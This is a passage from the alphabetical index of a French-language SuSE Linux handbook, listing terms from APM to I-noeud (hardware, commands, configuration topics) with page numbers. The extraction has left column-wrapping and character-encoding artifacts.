  36147. APM   . . voir PCMCIA, APM,                      autofs   . . . . . . . . . . . . . . . . 457     Cabletron E21XX  . . . . . . . 379
  36148.       327                                        AVM Fritz                                        CaractΦres  . . . . . . . . . . .*
  36149.  * . . . 279
  36150.    SΘlection du noyau  . 38, 104                    XPCDr.   . . . . . . . . . . . . . . 196      CaractΦres jokers   . . . 488, 512
  36151. apmd  . . . . . . . . . . . . . . 323, 328       AVM-B1   . . . . . . . . . . . . . . . 176       CardBus  . . . . . . . voir MatΘr*
  36152.  *iel,
  36153. apmd   . . . . . . . . . . . . . . 328, 329      awk  . . . . . . . . . . . . . . . . . . . . . . 4     CardBus
  36154. app-defaults   . . . . . . . . . . . . 286       Aztech, CD-ROM  . . . . . . . 390                cardctl   . . . . . . . . . . . .*
  36155.  * . . . . . 326
  36156. Appel  . . . . . . . . . . . . . . . . . . 483                                                    cardmgr  . . . . . . . . . . . . *
  36157.  *. . . . 318
  36158. Apple  . . . . . . . . . . . . . . . . . . 522   B                                                cardmgr       . . . . . . 318, 31*
  36159.  *9, 325
  36160. Apple MacIntosh  . . . . . . . . 518             Backup  . . . . . . . . . . . . 492, 512         carte graphique Hercules  . 103
  36161. Application  . . . . . . . . 286, voir           Bartels AutoEngineer (BAE)   .                   Carte rΘseau
  36162.       Programme                                        69                                            3COM 3c501  . . . . . . . . . *
  36163.  *385
  36164. Applications                                     Base de donnΘes                                     3COM 3c503  . . . . . . . . . *
  36165.  *385
  36166.    Fichiers de configuration  . . .                 PostgreSQL   . . . . . . . . . . 409             3COM 3c505  . . . . . . . . . *
  36167.  *385
  36168.       286                                        Base de donnΘes support   . . . 7                   3COM 3c507  . . . . . . . . . *
  36169.  *385
  36170. Applix   . . . . . . . . . . . . . . . . . . . 3 bash  . 168, 488, 518, 534, 535,                    3COM 3c509  . . . . . . . . . *
  36171.  *385
  36172. aps   . . . . . . 334, 340, 342, 354                   568                                           3COM 3c515  . . . . . . . . . *
  36173.  *385
  36174. apsfilter   . . viii, 101, 102, 334,             Bash  . . . . . . . . . . . . . . . . . . . 407     3COM 3c579  . . . . . . . . . *
  36175.  *385
  36176.       339~346, 348, 353, 354                     bin/faxrcvd  . . . . . . . . . . . . . 228          3COM 3c590  . . . . . . . . . *
  36177.  *385
  36178.    Configuration   . . . . 341, 345              bind   . . . . . . . . . . . . . . . . . . . 159    3COM 3c900  . . . . . . . . . *
  36179.  *385
  36180.    Files d'impression  . . . . . 341             bind   . . . . . . . . . . . . . . 205, 480         AM7990 chipset   . . . . . . 3*
  36181.  *88
  36182.    Imprimantes rΘseau  . . . . 346               binutils  . . . . . . . . . . . . . . 359           AT1700   . . . . . . . . . . .*
  36183.  * . . . 385
  36184.    Liste de contr⌠le   . . . . . . 354           BIOS   . . . . . . . . . . . . . . . . . . 512      Cabletron  . . . . . . . . . .*
  36185.  * . . . 385
  36186. Apsfilter  . . . . . . . . . . . . . . . . 345   bitmap   . . . . . . . . . . . . . . . . . 281      Configuration  . . . . . . . .*
  36187.  * . 100
  36188. apsfilterrc   . . . . . . . . . . . . . . 345    Bogue  . . . . . . . . . . . . . . . . . . 544      D-Link DE620  . . . . . . . . *
  36189.  *389
  36190. Arborescence des rΘpertoires   .                 books  . . . . . . . . . . . . . . . . . . . 10     DE10x  . . . . . . . . . . . .*
  36191.  * . . . 386
  36192.       529                                        Boot  . . . . . . . . . . . . . . . 445, 512        DE20   . . . . . . . . . . . .*
  36193.  * . . . . 386
  36194. Arcad  . . . . . . . . . . . . . . . . . . . 69     gestionnaire d'amorτage  . . .                   DE203  . . . . . . . . . . . .*
  36195.  * . . . 386
  36196. arena   . . . . . . . . . . . . . . . . 8, 459         119                                           DE204  . . . . . . . . . . . .*
  36197.  * . . . 386
  36198. Argus   . . . . . . . . . . . . . 460, 461          LILO   . . . . . . . . . . . . . . . . 117       DE205  . . . . . . . . . . . .*
  36199.  * . . . 386
  36200. Arkane Media   . . . . . . . . . . 561              ParamΦtres   . . . . . . . . . . . 367           DE42   . . . . . . . . . . . .*
  36201.  * . . . . 386
  36202. Arkeia   . . . . . . . . . . . . . . . . . 460      Partition racine  . . . . . . . . 371            DE425  . . . . . . . . . . . .*
  36203.  * . . . 386
  36204. Assistance Technique                             boot.local   . . . . . . . . . . . . . . 449        DE434  . . . . . . . . . . . .*
  36205.  * . . . 386
  36206.  
  36207.  
  36208. 570
  36209.        ___________________________________________________________________________________________________________________________I*
  36210.  *ndex__________________
  36211.  
  36212.  
  36213.  
  36214.    DE435  . . . . . . . . . . . . . . . 386         Mozart   . . . . . . . . . . 381, 390            fondamentales   . . . . . . . *
  36215.  *. 485
  36216.    DE450  . . . . . . . . . . . . . . . 386         Optics Storage   . . . 381, 391               Commandes DOS   voir mtools
  36217.    DE500  . . . . . . . . . . . . . . . 386         Panasonic  . . . . . . . . 382, 392           Commandes fondamentales   . .
  36218.    DEC EtherWORKS   . . . 386                       Philips CM206  . . . 381, 391                       485
  36219.    Digital   . . . . . . . . . . . . . . . 386      Sanyo   . . . . . . . . . . . 382, 391        Communicator de Netscape  . 8
  36220.    Digital DEPCA   . . . . . . . 386                Sony CDU31A  . . . 382, 391                   Commutateur  . . . . . . . . . . *
  36221.  *. 512
  36222.    E21xx  . . . . . . . . . . . . . . . . 385       Sony CDU33A  . . . 382, 391                   Compaq  . . . . . . . . . . . . .*
  36223.  * . . . . . 3
  36224.    EtherBlaster   . . . . . . . . . . 388           Sony CDU535  . . . . 382, 391                 Compiler
  36225.    EtherTeam 16i/32   . . . . . 388                 SoundBlaster Pro 16  . . . 392                   Noyau   . . . . . . . . . . . *
  36226.  *. . . . 542
  36227.    EtherWORKS 3  . . . . . . . 386               CD-ROM multisession  . . . 381                   Compte   . . . . . . . . . . . . *
  36228.  *. . . . 512
  36229.    Fujitsu                                       CD-ROM ATAPI se bloque  60                       Compte utilisateur  . . . . . . .*
  36230.  * . 24
  36231.       FMV-181/182/183/184   . .                  cdb  . . . . . . . . . . . . . . . . . 59, 244   Comptes d'impression  . . . 346
  36232.       387                                        CDE   . . . . . . . . . . . . . . 267, 270       Concept d'amorτage  . . . . . 119
  36233.    HP 10/100 VG-AnyLAN  . . .                    cdesim  . . . . . . . . . . . . . . . . . 267    conf.modules  . . . . . . . . . .*
  36234.  * . voir
  36235.       388                                        CERT  . . . . . . . . . . . . . . . . . . 472          modules.conf
  36236.    HP 27245   . . . . . . . . . . . . 388        Changer le nom  . . . . . . . . . 106            conf.modules  . . . . . . . . . v*
  36237.  *oir
  36238.    HP 27247B  . . . . . . . . . . . 387          changes   . . . . . . . . . . . . . . . 415            /etc/modules.conf
  36239.    HP 27252A  . . . . . . . . . . . 387          Chargeur  . . . . . . . . . . . . . . . 117      config.sys   . . . . . . . . . . *
  36240.  *. . . . 143
  36241.    HP 27xxx   . . . . . . . . . . . . 388        Chargeur de modules du noyau                     Configuration
  36242.    HP PCLAN  . . . . . . . . . . . 388                 361                                           Bureau  . . . . . . . . . . . *
  36243.  *. . . . 286
  36244.    HP PCLAN+   . . . . . . . . . 387             chat  . . . . . . 172, 197, 198, 200                Charger   . . . . . . . . . . *
  36245.  *. . . . . 94
  36246.    IBM Token Ring  . . . . . . 389               chevaux de Troie  . . . . . . . . 469__             E-Mail  . . . . . . . . . . . *
  36247.  *. . . . 205
  36248.    ICL EtherTeam   . . . . . . . 388             Choisir les logiciels                               enregistrer  . . . . . . . . .*
  36249.  * . . . . 95
  36250.    Intel EtherExpress 16  . . 386                   Installation   . . . . . . . . . . . . 21        Gestionnaire de fenΩtres  286
  36251.    Intel EtherExpress Pro  . 387                 Chris Mason  . . . . . . . . . . . . . 90           LILO   . . . . . . . . . . . .*
  36252.  * . . . . 123
  36253.    Intel EtherExpress Pro 100  .                 Circuit d'horloge  . . . . . . . . 254              modifier  . . . . . . . . . . *
  36254.  *. . . . 450
  36255.       387                                        Clavier                                             Modifier  . . . . . . . . . . *
  36256.  *. . . . . 95
  36257.    Lance  . . . . . . . . . . . . . . . . 388       CapsLock   . . . . . . . . . . . . 452           PremiΦre installation  . . . .*
  36258.  * 39
  36259.    Novell NE1000/2000  . . 388                      DΘlai  . . . . . . . . . . . . . . . . . 453     RΘseau  . . . . . . . . . . . *
  36260.  *. . . . 156
  36261.    SMC 9194  . . . . . . . . . . . . 389            Disposition  . . . . . . . . . . . 452           Temps de rΘseau   . . . . . . *
  36262.  *459
  36263.    SMC Ultra   . . . . . . . . . . . 388            NumLock   . . . . . . . . . . . . 452            X11  . . . . . . . . . . . . .*
  36264.  * 240, 251
  36265.    Token Ring  . . . . . . . . . . . 389            RΘpΘtition  . . . . . . . . . . . . 453       Configuration du systΦme  114,
  36266.    WD80x3   . . . . . . . . . . . . . 389        Client                                                 451
  36267.    Western Digital   . . . . . . . 389              FTP  . . . . . . . . . . . . . . . . . . 516  Configurations   . . . . . . . . *
  36268.  *. . . 94
  36269. Carte son                                        Client NFS   . . . . . . . . . . . . . 167       Configurer la sΘcuritΘ du
  36270.    Pro Audio Spectrum  . . . 381                 cnews  . . . . . . . . . . . . . . . . . . 410         systΦme  . . . . . . . . . *
  36271.  *. . . 114
  36272. Cartes ISA   . . . . . . . . . . . . . 293       Code source  . . . . . . . . . 95, 545           Configurer le temps   . . . . . 4*
  36273.  *59
  36274. Cartes PC  voir MatΘriel, cartes                    Compiler  . . . . . . . . . . . . . 419       Configurer XFree   . . . . . . . *
  36275.  *114
  36276.       PC                                         Coherent   . . . . . . . . . . . . . . . 500     Connexion au systΦme  . . . 482
  36277. Cartes rΘseau   . . . . . . . . . . . 378        colortbl  . . . . . . . . . . . . . . 410        Console  . . . . . . . . . . . . *
  36278.  *460, 513
  36279. cat  . . . . . . . . . . . . . . . . . . . . . 489Combinaisons de touches   509                      virtuelle  . . . . . . . . . .*
  36280.  * . . . . 513
  36281. CD   . . . . . . . . . . . . . . . . . . . . 544 command not found   . . . . . 462                Console texte   . . . . . . . . .*
  36282.  * . . 460
  36283. CD dΘfectueux  . . . . . . . . . . . 60          Commande  . . . . . . . . . . . . . 483          Consoles
  36284. CD-ROM                                              df    . . . . . . . . . . . . . . . . . . . 496  virtuelles  . . . . . . . . . *
  36285.  *. . . . 485
  36286.    ATAPI   . . . . . . . . . . . . . . . 375        du    . . . . . . . . . . . . . . . . . . . 498Consoles virtuelles   . . . . . *
  36287.  *. 485
  36288.    Aztech   . . . . . . . . . . 380, 390            free     . . . . . . . . . . . . . . . . . 496Contr⌠leur de disques durs XT
  36289.    EIDE   . . . . . . . . . . . . . . . . 375       kill     . . . . . . . . . . . . . . . . . 498      380
  36290.    Goldstar  . . . . . . . . . 381, 390             ps    . . . . . . . . . . . . . . . . . . . 498Corel  . . . . . . . . . . . . .*
  36291.  * . . . . . . . . 3
  36292.    Mitsumi   . . . . . . . . . 381, 390             pstree       . . . . . . . . . . . . . . 499  Couleurs   . . . . . . . . . . . *
  36293.  *. . . . 279
  36294.    Mitsumi FX-001(D)   . . 381,                     top     . . . . . . . . . . . . . . . . . . 499Courrier  . . . . . . . . . voir*
  36295.  * E-Mail
  36296.       390                                           ulimit       . . . . . . . . . . . . . . 496  Courrier Θlectronique  . . . . 513
  36297.    Mitsumi multisession  . . 381                    w   . . . . . . . . . . . . . . . . . . . . 498cp   . . . . . . . . . . . . . .*
  36298.  * . . . . . . . 490
  36299.    Mitsumi, multisession   . 390                 Commandes                                        CPU  . . . . . . . . . . . . . . *
  36300.  *. . . . . 513
  36301.  
  36302.  
  36303.                                                                                                                                    *
  36304.  *   571
  36305. Index             _________________________________________________________________________________________________________________*
  36306.  *_______________________________________@
  36307.  
  36308.  
  36309.  
  36310. CrΘer                                            Defrag   . . . . . . . . . . . . . . . . . . 55     Amorτage   . . . . . . . 134, *
  36311.  *137
  36312.    RΘpertoire  . . . . . . . . . . . . 486       DensitΘ des i-noeuds  . . . . . 514                 CrΘer des partitions Linux  . .
  36313.    Utilisateur  . . . . . . . . . . . . 482      depmod   . . . . . . . . . . . . . . . . 360           55, 56
  36314. CrΘer une disquette de secours                   Description des paquetages  96                      Menu de dΘmarrage   . . . 143
  36315.       104                                        Device  . . . . . . . . . . . . . 260, 514       DOS-Disquettes
  36316. CRC                                              df    . . . . . . . . . . . . . . . . . . . . . 496 AccΦs  . . . . . . . . . . . .*
  36317.  * . . . . 501
  36318.    Erreur  . . . . . . . . . . . . . . . . . 64  dhclient   . . . . . . . . . . . . . . . . 204   DOS-Setup   . . . . . . . . . . .*
  36319.  * . . . 50
  36320. cron   . . . . . . . . . . 409, 413, 442         dhclient  . . . . . . . . . . . . . . 414        Drivespace  . . . . . . . . . . .*
  36321.  * . . . . 63
  36322. cron   . . . . . . . . . . . . . . . . x, 442    DHCP  . . . . . . . . . . . . . 188, 458         Droits d'accΦs   . 487, 490, 492
  36323. cron.daily   . . . . . . . . . . . . . . 461        configurer   . . . . . . . . . . . . 106         Samba   . . . . . . . . . . . *
  36324.  *. . . . 231
  36325. crontab  . . . . . . . . . . . . . . . . . 207   dhcpcd   . . . . . . . . . . . . . . . . 414     Droits des fichiers  . . . . . . *
  36326.  *. 461
  36327. Crontab                                          diald   . . . . . . . . . . . . . . 204, 457     DSS1   . . . . . . . . . . . . . *
  36328.  *. . . . . 176
  36329.    journellement  . . . . . . . . . 413          Digital   . . . . . . . . . . . . . . . . . 386  du   . . . . . . . . . . . . . . *
  36330.  *. . . . . . . 498
  36331. Ctwm   . . . . 267, 270, 282, 283                Digital DEPCA   . . . . . . . . . 386            Dummy device  . . . . . . . . . .*
  36332.  * 454
  36333. curses  . . . . . . . . . . . . . . . . . . 442  Digital Equipment Corporation                    dump   . . . . . . . . . . . . . *
  36334.  *. . . . . . 77
  36335. curses  . . . . . . . . . . . . . . x, 442             239                                        dumpe2fs  . . . . . . . . . . . .*
  36336.  * . . . 441
  36337. Curseur  . . . . . . . . . . . . 281, 513        Digital Research   . . . . . . . . 518           dvips  . . . . . . . . . . . . . *
  36338.  *. . . . . . 340
  36339. Cut-and-Paste  . . . . . . . . . . . 544         DISPLAY   . . . . . . . . . . . . . . . 525
  36340. Cyberscheduler Software  . . 69                  Disposition du clavier   83, 443                 E
  36341. Cygnus Source-Navigator  . 69                       YaST  . . . . . . . . . . . . . . . . . . 81  E-Mail  . . . . . . . . . . . . .*
  36342.  * . . . . 514
  36343. Cyrix   . voir Processeur, Cyrix                 Disque dur                                          Configuration  . . . . . . . .*
  36344.  * . 205
  36345.       686                                           ParamΦtres   . . . . . . . . . . . 376        e2fsck   . . . . . . . . 438, 440*
  36346.  *, 441
  36347.                                                     SupplΘmentaire   . . . . . . . 546               Manual-Page   . . . . . . . . *
  36348.  *. 537
  36349. D                                                Disque virtuel                                   2fsck     . . . . . . . . . . . .*
  36350.  * . . . . . . 537
  36351. D-Link DE620  . . . . . . . . . . 389               Disque virtuel initial  . . . 453             Eagle   . . . . . . . . . . . . .*
  36352.  * . . . . . . 69
  36353. DΘbuts   . . . . . . . . . . . . . . . . . 481   Disquette                                        Eberhard M÷nkeberg   . . . . . 10
  36354. dΘfragmenter   . . . . . . . . . . . 545            dΘmarrer α partir de   . . . 119              Editoren
  36355. DΘmarrage                                        disquette d'amorτage  . . . . 119                   vi  . . . . . . . . . . . . . *
  36356.  *. . . . . . . 506
  36357.    α partir de disquette  . . . . . 57           Disquette d'amorτage  . . . . 122                editres   . . . . . . . . . . . .*
  36358.  * . . . . . 287
  36359. DΘmon  . . . . . . . . . . . . . . . . . 514        CrΘation avec dd   . . . . . . . 58           Effacer
  36360.    named   . . . . . . . . . . . . . . . 457        gΘnΘrer (avec LILO)  . . . 132                   Fichier  . . . . . . . . . . .*
  36361.  * . . . . 490
  36362.    nscd   . . . . . . . . . . . . . . . . . 457     Installer avec  . . . . . . . . . . . 29         RΘpertoire  . . . . . . . . . *
  36363.  *. . . 486
  36364.    routed  . . . . . . . . . . . . . . . . 457   Disquette de secours  . . . . . 438              EIDE, chipsets  . . . . . . . . .*
  36365.  * . 376
  36366.    rwhod  . . . . . . . . . . . . . . . . 457    Disquettes d'amorτage                            ELF   . . . . . . . . . . . . . .*
  36367.  * . . . . . 515
  36368. DΘmon cron   . . . . . . . . . . . . 461            CrΘer avec Setup   . . . . . . . 57           emacs      . . . . . . . . . . . *
  36369.  *. . . . 9, 514
  36370. dΘmon kerneld  . . . . . . . . . . 448           DNS  . . . . . . . . . . . . . . . . . . . 455   Emacs  4, 9, 70, 210, 409, 420,
  36371. DΘmon kerneld  . . . . . 361, 453                   Timeout  . . . . . . . . . . . . . . 413            443, 517
  36372. DΘmon RPC mount  . . . . . . 167                 doc  . . . . . . . . . . . . . . . . . . . . 481 Email  . . . . . . . . . . . . . *
  36373.  *. . . . . 171
  36374. DΘmon RPC NFS   . . . . . . . 167                docbkdsl  . . . . . . . . . . . . . . 410        emm386.exe   . . . . . . 44, 50, *
  36375.  *51
  36376. DΘmon Secure Shell  . . . . . 459                DocBook  . . . . . . . . . . . . . . . 410       emu10k1   . . . . . . . . . . . .*
  36377.  * . . . 305
  36378. DΘsinstallation                                  dochost  . . . . . . . . . . . . . . . . . . 69  Encryptage   . . . . . . . . . . *
  36379.  *. . . 515
  36380.    LILO   . . . . . . . . . . . . . . . . 130    dochost  . . . . . . . . . . . 436, 437          Enlightenment  . . . . . . 267, 2*
  36381.  *69
  36382. DΘterminer la langue   . . . . . 83              Documentation   . . . . . . . 8, 435             EntrΘe  . . . . . . . . . . . . .*
  36383.  * . . . . . 483
  36384. Daemon  . . . . . . . . . . . . . . . . 514         Fichier   . . . . . . . . . . . . . . . . . 9 EntrΘe/sortie standard  . . . . 5*
  36385.  *15
  36386. Dateisystem                                         Lire  . . . . . . . . . . . . . . . . . . . . 9environnement chroot  . . . . . *
  36387.  *93
  36388.    TeX  . . . . . . . . . . . . . . . . . . 423     Serveur pour la                               Environnnement   . . . . . . . . *
  36389.  *515
  36390. DB2   . . . . . . . . . . . . . . . . . . . 460        documentation  . . . . . . 458             Erreur  . . . . . . . . . . . . .*
  36391.  * . . . . . 544
  36392. DCF77  . . . . . . . . . . . . . . . . . 459     docview                                          Ethernet  . . . . . . . . . . . .*
  36393.  * . . . . 516
  36394. DE203  . . . . . . . . . . . . . . . . . 386        SuSEFax  . . . . . . . . . . . . . 216        EtherTeam 16i/32   . . . . . . . *
  36395.  *388
  36396. DE204  . . . . . . . . . . . . . . . . . 386     Domaine   . . . . . . . . . . . . . . . 162      Eumex 322 PCi   . . . . . . . . .*
  36397.  * 196
  36398. DE205  . . . . . . . . . . . . . . . . . 386     Domaine DNS  . . . . . . . . . . 166             Eumex 404 PC  . . . . . . . . . .*
  36399.  * 196
  36400. DEC  . . . . . . . . . . . . . . . . . . . 239   Domaine NIS  . . . . . . . . . . . 166           Explorer  . . . . . . . . . . . .*
  36401.  * . . . . . 64
  36402. defrag  . . . . . . . . . . . . . . . . . . . 55 DOS  . . . . . . . . . . . . . . . . . . . 500   Exporter  . . . . . . . . . . . .*
  36403.  * . . . . 167
  36404.  
  36405.  
  36406. 572
  36407.        ___________________________________________________________________________________________________________________________I*
  36408.  *ndex__________________
  36409.  
  36410.  
  36411.  
  36412. exports  . . . . . . . . . . . . . . . . . 168   Fichier texinfo   . . . . . . . . . . . . 9         Partition  . . . . . voir Part*
  36413.  *ition,
  36414. EXT2  . . . . . . . . . . . . . . . . . . 516    Fichier texte                                          Formatage
  36415.                                                     Lire  . . . . . . . . . . . . . . . . . . . . 9Formater des disquettes  . . . 58
  36416. F                                                Fichiers                                         Formation  . . . . . . . . . . . *
  36417.  *. . . 563
  36418. FAI  . . . . . . . . . . . . . . . . . . . . 516    Attributs   . . . . . . . . . . . . . 490     Formation Linux  . . . . . . . . *
  36419.  *563
  36420. FAQ   . . . . . . . . . . . . . . . . . . . 541     cachΘs  . . . . . . . . . . . 490, 535        Fortify  . . . . . . . . . . . . *
  36421.  *. . 69, 413
  36422. FAT32  . . . . . . . . . . . . . . . . . . . 56     Droits d'accΦs   . . . . . . . . 490          FrΘquence horizontale   . . . 253
  36423. Fax                                                 Impossible de dΘplacer  . . 59                FrΘquence verticale  . . . . . . *
  36424.  *253
  36425.    Hylafax   . . . . . . . . . . . . . . 459        Recherche  . . . . . . . . . . . . . 98       fr_howto   . . . . . . . . . . . *
  36426.  *. . . . . 9
  36427. Fax sΘrie                                        Fichiers cachΘs  . . . . . . . . . . 490         free     . . . . . . . . . . . . *
  36428.  *. . . . . . . 496
  36429.    SuSEFax  . . . . . . . . . . . . . 219        Fichiers core  . . . . . . . . . . . . 496       Free Software Foundation
  36430. fax2ps   . . . . . . . . . . . . . . . . . 216   Fichiers de configuration  . 158                       (FSF)   . . . . . . . . . .*
  36431.  * . . . . 517
  36432. faxcover  . . . . . . . . . . . . . . . . 220    Fichiers temporaires                             Freecom  . . . . . . . . . . . . *
  36433.  *. . . . . 62
  36434. faxcover  . . . . . . . . . . . . . . 220           Effacement  . . . . . . . . . . . 462         Frequently Asked Questions  . .
  36435. FaxCovergen.class   . . . . . . 220              file  . . . . . . . . . . . . . . . . . . . . . 340    541
  36436. FaxCovergen.class                                File d'impression                                fsck  . . . . . . . . . . . . . .*
  36437.  * . . . . . . . 77
  36438.    SuSEFax  . . . . . . . . . . . . . 220           DΘfinition   . . . . . . . . . . . . 334      FSSTD  . . . . . . . . . . . . . *
  36439.  *. . . . 423
  36440. faxgetty  . . . . . . . 222, 223, 227            File de rΘception   . . . . . . . . 218          fstab  . . . . . . . . . . . . . *
  36441.  *. . . . . . 500
  36442. faxmodem  . . . . . . . . . . . . . . 222        File Transfer Protocol  . . . . 221              ftape  . . . . . . . . . . . . . *
  36443.  *. . . . . . 314
  36444. faxprint  . . . . . . . . . . . . . . 221        Files  . . . . . . . . . . . . . . . . . . . 260 ftp  . . . . . . . . . . . . 106,*
  36445.  * 173, 535
  36446. faxq   . . . . . . . . . . . . . . . . . . . 222 Files d'impression                               FTP  . . . . . . . . . . . . . . *
  36447.  *. . . . . . 516
  36448. faxsetup  . . . . . . . . . . . . . . . . 459       avec apsfilter   . . . . . . . . . 341           Anonymes FTP   . . . . . . . 4*
  36449.  *14
  36450. fdisk  . . . . 55, 56, 75, 122, 130,                Utilisation de   . . . . . . . . . 335           Client  . . . . . . . . . . . *
  36451.  *. . . . . 516
  36452.       132, 136, 137, 438, 440,                   Filtrage de paquets   . . . . . . 201               Serveur   . . . . . . . . . . *
  36453.  *. . . . 516
  36454.       441                                        Filtre de paquets   . . . . . . . . 201          ftpdir   . . . . . . . . . . . . *
  36455.  *. . . . 423
  36456.    mbr  . . . . . . . . . . . . . . . . . . 131  Filtres                                          Fujitsu FMV-181/182/183/184
  36457. FEATURE   . . . . . . . . . . . . . . . 341         apsfilter   . . . . . . . . . . . . . . 340         387
  36458. FenΩtre  . . . . . . . . . . . . . . . . . 516      Configuration apsfilter  . 341                Future Domain  . 374, 375, 384
  36459. FenΩtre de terminal  . . . . . . 543                d'impression  . . . . . . . . . . 339         fvwm   . . . . . . . . . . . . . *
  36460.  *. . . . . 249
  36461. fetchnews  . . . . . . . . . . 208, 210             Filtres d'impression   . . . 338              Fvwm   vii, 267, 268, 270, 277,
  36462. fhs  . . . . . . . . . . . . . . . . . . . . 423 Filtres d'impression  . 338, 339                       282~285
  36463. Fichier  . . . . . . . . . . . . . . . . . 516      apsfilter   . . . . . . . . . . . . . . 340      Fvwm   . . . . . . . . . . . .*
  36464.  * . . . 277
  36465.       . . . . . . . . . . . . . . . . . . . . . 492 Configuration apsfilter  . 341                   CaractΦres  . . . . . . . . . *
  36466.  *. . . 279
  36467.    .tar.gz   . . . . . . . . . . . . . 492          pour imprimantes rΘseau  . . .                   Configuration  . . . . . . . .*
  36468.  * . 278
  36469.    .tgz  . . . . . . . . . . . . . . . . . 492         346                                           Configuration des couleurs  .
  36470.    Archivage   . . . . . . . . . . . . 492       find  . . . . . . . . . . . . . . . . . . . . 440      279
  36471.    Attributs  . . . . . . . . . 487, 492         find     . . . . . . . . . . . . . . . . . . . 491  Configuration des polices   . .
  36472.    Commandes   . . . . . . . . . . 486           finger   . . . . . . . . . . . . . . . . . . 535       279
  36473.    Copier   . . . . . . . . . . . . . . . 490    fips  . . . . . . . . . . 35, 54, 64, 546           Configurer  . . . . . . . . . *
  36474.  *. . . 278
  36475.    DΘplacer   . . . . . . . . . . . . . 490      fips.exe   . . . . . . . . . . . . . . 55, 56       Couleurs   . . . . . . . . . .*
  36476.  * . . . 279
  36477.    Droits d'accΦs   . . . . . . . . 487          Firewall  . . . . . . . 201, 476__, 545             Curseur   . . . . . . . . . . *
  36478.  *. . . . 281
  36479.    Effacer  . . . . . . . . . . . . . . . 490       Filtre de paquets Firewall   . .                ParamΘtrer  . . . . . . . . . .*
  36480.  * . . . 281
  36481.    Explorer  . . . . . . . . . . . . . . 491           476                                           DΘmarrage  . . . . . . . 277, *
  36482.  *278
  36483.    Lien   . . . . . . . . . . . . . . . . . 491  firewals  . . . . . 202, 473, 476                   DΘmarrage trop lent   . . . 284
  36484.    Rechercher   . . . . . . . . . . . 491        Floppy  . . . . . . . . . . . . . . . . . 379       Fichiers de configuration  . .*
  36485.  * .
  36486.    Renommer   . . . . . . . . . . . 490          Florian La Roche  . . . . . . . . . 10                 277
  36487. Fichier de configuration  . . 451                Focus   . . . . . . . . . . . . . . . . . . 516     GΘnΘralement  . . . . . . . . *
  36488.  *. 277
  36489. Fichier de traces (log)  . . . . 462             Fonctionnement                                      Ic⌠nes  . . . . . . . . . . . *
  36490.  *. . . . . 280
  36491. Fichier FAQ  . . . . . . . . . . . . . . . 9        HylaFAX  . . . . . . . . . . . . . 221          ParamΘtrer  . . . . . . . . . .*
  36492.  * . . . 280
  36493. Fichier FIFO  . . . . . . . . . . . . 222        Format de paquetages  . . . . 415                   Image d'arriΦre-plan  . . . 278
  36494. Fichier HOWTO   . . . . . . . . . . 9            Format du papier                                    Polices  . . . . . . . . . . .*
  36495.  * . . . . 279
  36496. Fichier info   . . . . . . . . . . . . . . . 9      SuSEFax  . . . . . . . . . . . . . 216        Fvwm  . . . . . . . . . . . . . .*
  36497.  * . . . . 278
  36498. Fichier README   . . . . . . . . . 9             Formatage                                        Fvwm1  . . . . . . . . . . . . 28*
  36499.  *2, 283
  36500.  
  36501.  
  36502.                                                                                                                                    *
  36503.  *   573
  36504. Index             _________________________________________________________________________________________________________________*
  36505.  *_______________________________________@
  36506.  
  36507.  
  36508.  
  36509.    Fvwm1   . . . . . . . . . . . . . . 277       gnorpm   . . . . . . . . . . . . . . . . 421     hosts   . . . . . . . . . . . . .*
  36510.  * . 158, 159
  36511. fvwm2     . . . . . . . . . . . . . . . . . . 277GNU  . . . . . . . . . . . . . . 443, 517        howto  . . . . . . . . . . . . . *
  36512.  *. . . . . 330
  36513. Fvwm2   . . . . . . . 265, 268, 277              GNU Emacs  . . . . . . . . . . . . 514           howtodeh  . . . . . . . . . . . .*
  36514.  * . . 435
  36515.    seeFvwm  . . . . . . . . . . . . . 277        GNU Zip  . . . . . . . . . . . . . . . 492       howtoen   . . . . . . . . . . . .*
  36516.  * . . . . . 9
  36517. Fvwm95  . . 267, 270, 282~285                    gnuhtml   . . . . . . . . . . . . . . . 412      howtoenh  . . . . . . . . . . . .*
  36518.  * . . 435
  36519. FvwmBanner   . . . . . . . . . . . 278           GNU C/C++ Compiler  . . . . . 4                  HP 10/100 VG-AnyLAN  . 388
  36520. FvwmIdent  . . . . . . . . . . . . . 280         Goldstar, CD-ROM  . 381, 390                     HP Eloquence  . . . . . . . . . .*
  36521.  * . . 69
  36522.                                                  GPL  . . . . . . . . . . . . . . . 481, 549      HP PCLAN  . . . . . . . . . . . .*
  36523.  * . 388
  36524. G                                                gpm  . . . . . . . . . . . . 42, 453, 544        HP PCLAN+   . . . . . . . . . . .*
  36525.  * 387
  36526. g3utils   . . . . . . . . . . . . . . . 211      Gpm  . . . . . . . . . . . . . . . . . . . 453   ht ://Dig  . . . . . . . . . . . *
  36527.  *. . . . . 437
  36528. gcc  . . . . . . . . . . . . . . . . . . . . 359 GPM  . . . . . . . . . . . . . . . . . . . 453   htdig  . . . . . . . . . . . . . *
  36529.  *. . . . . . . 69
  36530. GEM   . . . . . . . . . . . . . . . . . . 518    grep   . . . . . . . . . . . . . . . . . . . 440 htdig  . . . . . . . . . . . . . *
  36531.  *436, 437
  36532. Gestion                                          grep     . . . . . . . . . . . . . . . . . . . 491http  . . . . . . . . . . . . . *
  36533.  *. . . . . . . 173
  36534.    Groupes  . . . . . . . . . . . . . . 112      group   . . . . . . . . . . . . . . . . . . 166  http-rman   . . . . . 435, 436, 4*
  36535.  *58
  36536.    Utilisateurs  . . . . . . . . . . . 111       Groupes                                          httpd  . . . . . . . . . . . . . *
  36537.  *. . . . . . 458
  36538. Gestion d'Θnergie   . . . . . . . 327               Gestion   . . . . . . . . . . . . . . 112     hylafax  . . . . . . . . . . . 21*
  36539.  *1, 220
  36540. Gestionnaire d'amorτage  . 117                   gs  . . . . . . voir Ghostscript, 348            HylaFAX   . . vi, 211, 217, 221__,
  36541.    boot.sys  . . . . . . . . . . . . . . 119     gs    . . . . . . . . . . . . . . . . . . . . . 101    221~223, 228
  36542.    LILO   . . . . . . . . . . . . . . . . 119    GS_RESOL  . . . . . . . . . . . . . . 354        hyperref  . . . . . . . . . . . .*
  36543.  * . . 410
  36544.    OS/2  . . . . . . . . . . . . . . . . . 119   gs_x11   . . . . . . . . . . . . . . . . 216     Hypertexte  . . . . . . . . . . .*
  36545.  * . . . . . 8
  36546.    Windows NT   . . . . . . . . . 119            gsview   . . . . . . . . . . . . . . . . . 10
  36547. Gestionnaire d'impression(lpd)                   gtkndev   . . . . . . . . . . . . . . . 411      I
  36548.       337                                        gv   . . . . . . . . . . . . . . . . . . . . . 216I-noeud   . . . . . . . . . . . *
